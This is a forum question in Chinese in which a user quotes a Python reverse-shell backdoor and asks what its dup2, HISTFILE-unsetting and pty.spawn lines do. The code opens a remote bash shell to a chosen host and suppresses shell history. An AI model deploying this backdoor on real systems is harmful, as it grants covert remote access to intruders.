+ -
当前位置:首页 → 问答吧 → 求解:有点迷糊

求解:有点迷糊

时间:2011-03-22

来源:互联网

本帖最后由 skyxue215 于 2011-03-22 17:20 编辑

[code]#!/usr/bin/python
import sys
import os
import socket
import pty
shell = "/bin/bash"
def usage(programname):
    print "python connect-back door"
    print "Usage: %s " % programname
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit(1)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
        print "[+]Connect OK."
    except:
        print "[-]Can't connect"
        sys.exit(2)
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2) \\这个os.dup2官档上意思是"复制文件描述符“ fileno() 函数”反回套接字的描述符(1个小整数):但我实在不理解这东西在这段程序中的功用。
   global shell
    os.unsetenv("HISTFILE")  \\os.unsetenv “官档意思是,取消设置环境变量,但我也搞不懂这步有什么用,并更加不知道"HISTFILE" 这个字符串是什么意思,是自定义的,还有规则的。
  os.unsetenv("HISTFILESIZE")
   pty.spawn(shell) \\ 这个pty.spawn 官档意思是“生成一个进程,并连接它当前进程的标准IO控制终端” 也不知道这句话是什么意思,起什么作用
    s.close()
   if __name__ == "__main__": 我看到很多函数调用时!都用这个,难道这是个标准!!!!
    main()

作者: skyxue215   发布时间: 2011-03-22

作者: skyxue215   发布时间: 2011-03-23